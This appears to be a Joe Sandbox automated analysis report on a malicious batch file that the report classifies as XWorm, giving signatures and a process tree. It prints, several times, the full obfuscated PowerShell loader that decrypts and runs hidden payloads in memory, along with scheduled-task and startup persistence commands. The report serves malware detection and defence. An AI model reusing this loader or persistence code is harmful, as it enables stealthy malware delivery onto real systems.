Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PollosAplicaccion.bat

Overview

General Information

Sample name:PollosAplicaccion.bat
Analysis ID:1497352
MD5:eae7aa8feff31887941d85efc8b29cb7
SHA1:78eb93b98393f1f8c5e1445bda9a2a7555f482e0
SHA256:a924f18d12acc2fcedcbf6a268715ceee220f82d43e34578e3a25df7123c58e4
Infos:

Detection

XWorm
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected XWorm
.NET source code contains a sample name check
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Bypasses PowerShell execution policy
Drops PE files to the user root directory
Loading BitLocker PowerShell Module
Powershell drops PE file
Powershell is started from unusual location (likely to bypass HIPS)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Startup Folder File Write
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 6484 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PollosAplicaccion.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 3820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • net.exe (PID: 936 cmdline: net file MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
      • net1.exe (PID: 2612 cmdline: C:\Windows\system32\net1 file MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
    • powershell.exe (PID: 6392 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); MD5: 04029E121A0CFA5991749937DD22A1D9)
      • powershell.exe (PID: 3492 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_521_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_521.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wscript.exe (PID: 3504 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
        • cmd.exe (PID: 2128 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_521.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • net.exe (PID: 4052 cmdline: net file MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
            • net1.exe (PID: 2676 cmdline: C:\Windows\system32\net1 file MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
          • powershell.exe (PID: 936 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); MD5: 04029E121A0CFA5991749937DD22A1D9)
            • schtasks.exe (PID: 6084 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\e45iasd.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)
              • conhost.exe (PID: 5140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • wscript.exe (PID: 3136 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
  • e45iasd.exe (PID: 5020 cmdline: C:\Users\user\e45iasd.exe MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 6252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • e45iasd.exe (PID: 6068 cmdline: "C:\Users\user\e45iasd.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 3640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • e45iasd.exe (PID: 6768 cmdline: "C:\Users\user\e45iasd.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)
    • conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
XWormMalware with wide range of capabilities ranging from RAT to ransomware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_XWorm_1Yara detected XWormJoe Security

    Other

    SourceRuleDescriptionAuthorStrings
    amsi64_6392.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security
      amsi64_936.amsi.csvJoeSecurity_PowershellDecodeAndExecuteYara detected Powershell decode and executeJoe Security

        Sigma Signatures

        System Summary

        barindex
        Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
        Source: Process startedAuthor: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp
        Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
        Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp
        Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE
        Source: File createdAuthor: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 936, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk
        Sigma detected: Potentially Suspicious PowerShell Child Processes
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6392, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , ProcessId: 3504, ProcessName: wscript.exe
        Sigma detected: Powerup Write Hijack DLL
        Source: File createdAuthor: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6392, TargetFilename: C:\Users\user\AppData\Roaming\startup_str_521.bat
        Sigma detected: Suspicious PowerShell Parameter Substring
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp
        Sigma detected: WScript or CScript Dropper
        Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_521.vbs" , ProcessId: 3136, ProcessName: wscript.exe
        Sigma detected: Change PowerShell Policies to an Insecure Level
        Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Disp
        Sigma detected: CurrentVersion Autorun Keys Modification
